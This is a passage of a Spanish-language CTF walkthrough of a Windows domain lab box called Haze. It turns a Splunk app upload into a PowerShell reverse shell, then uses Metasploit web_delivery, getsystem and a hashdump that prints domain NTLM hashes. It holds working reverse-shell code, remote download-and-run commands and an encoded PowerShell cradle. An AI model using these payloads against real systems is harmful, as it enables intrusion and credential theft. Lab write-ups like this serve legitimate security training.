GitHub - 0xjpuff/reverse_shell_splunk: A simple splunk package for obtaining reverse shells on both Windows and most *nix systems.GitHub

tree .                 
.
├── bin
│   ├── rev.py
│   ├── run.bat
│   └── run.ps1
└── default
    └── inputs.conf

Este directorio contiene 2 carpetas, una con ejecutables y una con un archivo de configuración.

Editamos run.ps1 para añadir nuestra IP y puerto de atacante:

#A simple and small reverse shell. Options and help removed to save space. 
#Uncomment and change the hardcoded IP address and port number in the below line. Remove all help comments as well.
$client = New-Object System.Net.Sockets.TCPClient('10.10.14.198',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

También editamos inputs.conf de la siguiente manera:

[script://./bin/rev.py]
disabled = 0  
interval = 10  
sourcetype = shell 

[script://.\bin\run.bat]
disabled = 0
sourcetype = shell
interval = 10

@ECHO OFF
PowerShell.exe -exec bypass -w hidden -Command "& '%~dpn0.ps1'"
Exit

Una vez guardamos los archivos lo comprimimos con el siguiente comando:

tar -cvzf updater.tar.gz reverse_shell_splunk 

reverse_shell_splunk/
reverse_shell_splunk/default/
reverse_shell_splunk/default/inputs.conf
reverse_shell_splunk/bin/
reverse_shell_splunk/bin/rev.py
reverse_shell_splunk/bin/run.bat
reverse_shell_splunk/bin/run.ps1

Subida del exploit

Dentro de Apps hacemos click en Install app from file:

Aquí le damos a Browse, cargamos el archivo updater.tar.gz y le damos a Upload:

Antes de darle debemos configurar un listener de Netcat para recibir la conexión, y al darle a Update automátcamente conseguimos la shell!

sudo nc -lnvp 4444

[sudo] contraseña para kali: 
listening on [any] 4444 ...
connect to [10.10.14.198] from (UNKNOWN) [10.10.11.61] 52451

whoami
haze\alexander.green

Tenemos una shell con el usuario alexander.green, vamos a ver información del usuario y sus permisos:

PS C:\Windows\system32> whoami /all

USER INFORMATION
----------------

User Name            SID                                        
==================== ===========================================
haze\alexander.green S-1-5-21-323145914-28650650-2368316563-1106

GROUP INFORMATION
-----------------

Group Name                                 Type             SID                                         Attributes                                        
========================================== ================ =========================================== ==================================================
Everyone                                   Well-known group S-1-1-0                                     Mandatory group, Enabled by default, Enabled group
BUILTIN\Users                              Alias            S-1-5-32-545                                Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias            S-1-5-32-554                                Mandatory group, Enabled by default, Enabled group
BUILTIN\Certificate Service DCOM Access    Alias            S-1-5-32-574                                Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\SERVICE                       Well-known group S-1-5-6                                     Mandatory group, Enabled by default, Enabled group
CONSOLE LOGON                              Well-known group S-1-2-1                                     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users           Well-known group S-1-5-11                                    Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization             Well-known group S-1-5-15                                    Mandatory group, Enabled by default, Enabled group
LOCAL                                      Well-known group S-1-2-0                                     Mandatory group, Enabled by default, Enabled group
HAZE\Splunk_Admins                         Group            S-1-5-21-323145914-28650650-2368316563-1108 Mandatory group, Enabled by default, Enabled group
Authentication authority asserted identity Well-known group S-1-18-1                                    Mandatory group, Enabled by default, Enabled group
Mandatory Label\High Mandatory Level       Label            S-1-16-12288                                                                                  


PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                               State   
============================= ========================================= ========
SeMachineAccountPrivilege     Add workstations to domain                Disabled
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled 
SeImpersonatePrivilege        Impersonate a client after authentication Enabled 
SeCreateGlobalPrivilege       Create global objects                     Enabled 
SeIncreaseWorkingSetPrivilege Increase a process working set            Disabled

Tenemos SeImpersonatePrivilege habilitado. Podemos consultar la siguiente sección para explotarlo:

📘SeImpersonate y SeAssignPrimaryToken

También vemos que pertenece al grupo HAZE\Splunk_Admins, por lo que si conseguimos un Meterpreter sería muy fácil escalar privilegios a SYSTEM con getsystem.

Aumentar privilegios con JuicyPotato

Release Fresh potatoes · ohpe/juicy-potatoGitHub

Enviamos el JuicyPotato.exe y un binario estático de Netcat a la máquina:

afsh4ck@kali$ python3 -m http.server 80

PS C:\Users\Public\Documents> wget http://10.10.14.198/JuicyPotato.exe -o JuicyPotato.exe
PS C:\Users\Public\Documents> wget http://10.10.14.198/ncat.exe -o ncat.exe
PS C:\Users\Public\Documents> dir

    Directory: C:\Users\Public\Documents

Mode                 LastWriteTime         Length Name                                                                 
----                 -------------         ------ ----                                                                 
-a----          5/8/2025   5:56 PM         347648 JuicyPotato.exe
-a----          5/8/2025   5:57 PM         174664 ncat.exe

Y lo ejecutamos de la siguiente manera:

PS C:\Tools> ./JuicyPotato.exe -l 53375 -p c:\windows\system32\cmd.exe -a "/c c:\tools\ncat.exe 10.10.14.198 4444 -e cmd.exe" -t *
Testing {4991d34b-80a1-4291-83b6-3328366b9097} 53375
COM -> recv failed with error: 10038

El error 10038 significa literalmente: “El descriptor no es un socket.” En el contexto de JuicyPotato, suele indicar que:

El CLSID usado no es válido o no permite activación con el token actual.
El puerto especificado (-l 53375) no está abierto o en uso.
No se puede establecer comunicación con el COM Server adecuado.

Como el proceso de conseguir CLSIDs válidos es un tanto extenso, vamos a optar por conseguir un Meterpreter y elevar a SYSTEM para hacer un hashdump.

Meterpreter Webdelivery

Configura un Powershell web delivery escuchando en el puerto 8080.

msfconsole -q -x "use exploit/multi/script/web_delivery; set TARGET 2; set payload windows/x64/meterpreter/reverse_http; set LHOST 10.10.14.198; set LPORT 4443; run"

[*] Using configured payload python/meterpreter/reverse_tcp
TARGET => 2
payload => windows/x64/meterpreter/reverse_http
LHOST => 10.10.14.198
LPORT => 4443

[*] Started HTTP reverse handler on http://10.10.14.198:4443
[*] Using URL: http://10.10.14.198:1234/piiQqyvVY4yPq
[*] Server started.
[*] Run the following command on the target machine:
powershell.exe -nop -w hidden -e WwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbAA9AFsATgBlAHQALgBTAGUAYwB1AHIAaQB0AHkAUAByAG8AdABvAGMAbwBsAFQAeQBwAGUAXQA6ADoAVABsAHMAMQAyADsAJABsADIAMABxAD0AbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAOwBpAGYAKABbAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBQAHIAbwB4AHkAXQA6ADoARwBlAHQARABlAGYAYQB1AGwAdABQAHIAbwB4AHkAKAApAC4AYQBkAGQAcgBlAHMAcwAgAC0AbgBlACAAJABuAHUAbABsACkAewAkAGwAMgAwAHEALgBwAHIAbwB4AHkAPQBbAE4AZQB0AC4AVwBlAGIAUgBlAHEAdQBlAHMAdABdADoAOgBHAGUAdABTAHkAcwB0AGUAbQBXAGUAYgBQAHIAbwB4AHkAKAApADsAJABsADIAMABxAC4AUAByAG8AeAB5AC4AQwByAGUAZABlAG4AdABpAGEAbABzAD0AWwBOAGUAdAAuAEMAcgBlAGQAZQBuAHQAaQBhAGwAQwBhAGMAaABlAF0AOgA6AEQAZQBmAGEAdQBsAHQAQwByAGUAZABlAG4AdABpAGEAbABzADsAfQA7AEkARQBYACAAKAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAwAC4AMQAwAC4AMQA0AC4AMQA5ADgAOgAxADIAMwA0AC8AcABpAGkAUQBxAHkAdgBWAFkANAB5AFAAcQAvAEgANgBVAE0AagBNADgAWAB6ADIAaQAnACkAKQA7AEkARQBYACAAKAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAwAC4AMQAwAC4AMQA0AC4AMQA5ADgAOgAxADIAMwA0AC8AcABpAGkAUQBxAHkAdgBWAFkANAB5AFAAcQAnACkAKQA7AA==

Ejecutar el comando en la máquina objetivo

PS C:\windows\system32\inetsrv> powershell.exe -nop -w hidden -c $g=new-object net.webclient;$g.proxy=[Net.WebRequest]::GetSystemW

Recibiendo el Meterpreter

[*] 10.10.11.61      web_delivery - Delivering AMSI Bypass (1393 bytes)
[*] 10.10.11.61      web_delivery - Delivering Payload (4111 bytes)
[!] http://10.10.14.198:4443 handling request from 10.10.11.61; (UUID: h1cqnx6f) Without a database connected that payload UUID tracking will not work!
[*] http://10.10.14.198:4443 handling request from 10.10.11.61; (UUID: h1cqnx6f) Staging x64 payload (204892 bytes) ...
[!] http://10.10.14.198:4443 handling request from 10.10.11.61; (UUID: h1cqnx6f) Without a database connected that payload UUID tracking will not work!
[*] Meterpreter session 1 opened (10.10.14.198:4443 -> 10.10.11.61:53173) at 2025-05-09 00:25:07 +0200

msf6 exploit(multi/script/web_delivery) > sessions

Active sessions
===============

  Id  Name  Type                     Information                  Connection
  --  ----  ----                     -----------                  ----------
  1         meterpreter x64/windows  HAZE\alexander.green @ DC01  10.10.14.198:4443 -> 10.10.11.61:53173 (10.10.11.61)

msf6 exploit(multi/script/web_delivery) > sessions 1
[*] Starting interaction with 1...

meterpreter > getuid
Server username: HAZE\alexander.green

Consiguiendo SYSTEM

meterpreter > getsystem
...got system via technique 5 (Named Pipe Impersonation (PrintSpooler variant)).

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

Acceso a la flag

meterpreter > dir
Listing: c:\Users\Administrator\Desktop
=======================================

Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
100666/rw-rw-rw-  282   fil   2025-03-05 08:00:53 +0100  desktop.ini
100444/r--r--r--  34    fil   2025-05-08 14:01:44 +0200  root.txt

meterpreter > cat root.txt
805b5e58b6c62757b2c81e**********

Extra: Hashdump

meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:06dc954d32cb91ac2831d67e3e12027f:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:937e28202a6cdfcc556d1b677bcbe82c:::
paul.taylor:1103:aad3b435b51404eeaad3b435b51404ee:e90878e2fb0a21a11859ff60f1119fb4:::
mark.adams:1104:aad3b435b51404eeaad3b435b51404ee:e90878e2fb0a21a11859ff60f1119fb4:::
edward.martin:1105:aad3b435b51404eeaad3b435b51404ee:09e0b3eeb2e7a6b0d419e9ff8f4d91af:::
alexander.green:1106:aad3b435b51404eeaad3b435b51404ee:6b8caa0cd4f8cb8ddf2b5677a24cc510:::
DC01$:1000:aad3b435b51404eeaad3b435b51404ee:9dcbc33adec3bdc8b2334060002ce1b4:::
Haze-IT-Backup$:1111:aad3b435b51404eeaad3b435b51404ee:84d6a733d85d9e03f46eba25b34517a9:::

Y ya habríamos comprometido totalmente la máquina!

Última actualización hace 2 meses

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